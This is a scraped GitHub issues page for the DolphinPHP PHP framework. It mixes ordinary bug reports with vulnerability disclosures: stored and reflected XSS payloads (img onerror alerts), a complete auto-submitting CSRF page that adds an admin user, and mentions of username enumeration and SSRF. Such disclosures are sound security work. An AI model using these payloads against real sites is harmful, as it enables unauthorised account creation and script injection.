caiweiming / dolphinphp Goto Github PK

海豚PHP——基于ThinkPHP5.1.42LTS的快速开发框架

License: Other

PHP 86.35% Smarty 0.32% HTML 5.65% Java 0.13% CSS 6.57% PLpgSQL 0.04% Less 0.16% SCSS 0.77%

dolphinphp's Issues

bug提交-快速添加密码不能加密

/application/admin/controller/Admin.php
add 方法,password类型保存的时候没有加密,建议加上
foreach ($form['items'] as $item) {
if($item[0]=='password'){
$data[$item[1]]=Hash::make((string)$data[$item[1]]);
}
}

Zbuilder挺不错的，可以试下将它开源出去，让更多的人来完善它。

备份数据库失败

创建了视图，会被显示在列表里面。
但备份逻辑应该是只针对table的，若选中视图备份，会失败。

后台登录页面存在用户名枚举漏洞

1.登录admin账号，增加一个用户名为test的用户。
2.使用test账号加错误密码进行登录会出现“账号或者密码错误”

3.使用不存在的账号（这里使用test1），则会出现“用户不存在或被禁用”

你好，问个zbuild构建table时，在搜索关键字且当前页不为第1页时会搜索不到结果

你好，问个zbuild构建table时，在搜索关键字且当前页不为第1页时会搜索不到结果。

例：
使用zbuild构建当前table，翻页到第6页(大于第一页就行)，然后，搜索任何一个关键字，会搜索不到，如果将url中的page=xxx改为page=1就可以搜索到了。

这是一个小bug吧，当进行搜索时，要将当前的page重置为1才能有结果。这个怎样处理？？？

/**
* 设置触发
* @param string $trigger 需要触发的表单项名，目前支持select（单选类型）、text、radio三种
* @param string $values 触发的值
* @param string $show 触发后要显示的表单项名，目前不支持普通联动、范围、拖动排序、静态文本
* @param bool $is_clear 是否清除隐藏表单的值，默认清除
* @author 蔡伟明
* @return $this
*/
public function setTrigger($trigger = '', $values = '', $show = '', $is_clear = true)

建议：有没有考虑菜单栏跟数据加载用pjax形式呢

这样体验会更好，避免实时刷新全页面。

进入后台首页一直302

我用的 valet 开发环境，进入后台就一直 302 跳转，表示很无语~

自动添加模式下，修改器无效

如题，在自动添加模式下，我设置的修改器均无效，求修正

海豚PHP后台存在SSRF

在add.html中，如果使用到图标管理插件，在链接出存在SSRF

建议多release一些版本。

现在就一个版本

DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > configuration management.

Add a new configuration,and insert payload in the configuration title
payload: t">

Save and refresh the page. Pop up window.

payload: <img src=x onerror=alert("xss")>

When you visit this page, a pop-up window will pop up.

绝对支持

质量很高! 良心作品

fixedLeft固定列确定生效么？

地址：https://www.kancloud.cn/ming5112/dolphinphp/619103

我下载最新版本，设置fixedLeft，添加多列，使用x轴滚动条，没有发现左侧列固定。

一、是否是我理解错了它的用处
二、是否是我的写法有错误
三、使用它有什么注意项
四、是否能写一个完整体现效果的demo

保存插件配置信息，表单token也保存进去了

DolphinPHP/application/admin/controller/Plugin.php

Line 434 in 7faeb83

$data = $this->request->post();

后台分页table，每页显示数量未为空时提交报错。

application/admin/controller/Admin.php 155行

多级分类列表都显示在一块

比如商品多级分类列表添加多级之后列表里都显示出来了看不出层级关系

DolphinPHP v1.5.1 vulnerability, Reflected Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > Attachment management.
Background - > System - > system function - > system log.
Background - > System - > system function - > Behavior management.

Influence parameters:search_field
payload:test"><img src=x onerror=alert("xss")>

Add User Function with CSRF vulnerability

The Add User form without csrf token.
Hacker can use it to add a new user.
Spoofing an administrator to open this page :

<html>
  <body>
    <form action="http://192.168.52.130/public/admin.php/user/index/add.html" method="POST" id="test">
      <input type="hidden" name="username" value="hackertest" />
      <input type="hidden" name="nickname" value="hackertest" />
      <input type="hidden" name="role" value="1" />
      <input type="hidden" name="email" value="qq&#64;aixinwei&#46;wang" />
      <input type="hidden" name="password" value="testtest" />
      <input type="hidden" name="mobile" value="13311111111" />
      <input type="hidden" name="avatar" value="" />
      <input type="hidden" name="status" value="1" />
    </form>
<script>
    var f=document.getElementById("test");
    f.submit();
</script>
  </body>
</html>

suggestion for repairing:add csrf token to the html form.

DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > configuration management.

Add a new configuration,and insert payload in the configuration title
payload: t"><img src=x onerror=alert(1)>

Save and refresh the page. Pop up window.

payload: <img src=x onerror=alert("xss")>

When you visit this page, a pop-up window will pop up.

自动完成和zbuilder:table的callback冲突

public function setIpAttr(){
return request()->ip();
}
return ZBuilder::make('table')
->addColumns([
['ip','ip地址','callback',function($value){
// 这里的$value 是获取不到值的
return 456;
}],
->fetch();

图片上传bug

当设置缩略图时，并且上传图片过大（测试图片为894K和2.1M），会上传不成功，复现率100%

未定义数组索引model $where['model']一直都不存在

DolphinPHP/application/cms/admin/Document.php

Line 223 in 77dd8ee

 $columns = Db::name('cms_column')->where(['model' => $where['model']])->whereOr('model', $info['model'])->order('pid,id')->column('id,name,pid'); 

caiweiming / dolphinphp Goto Github PK

dolphinphp's Issues

Recommend Projects

Recommend Topics

Recommend Org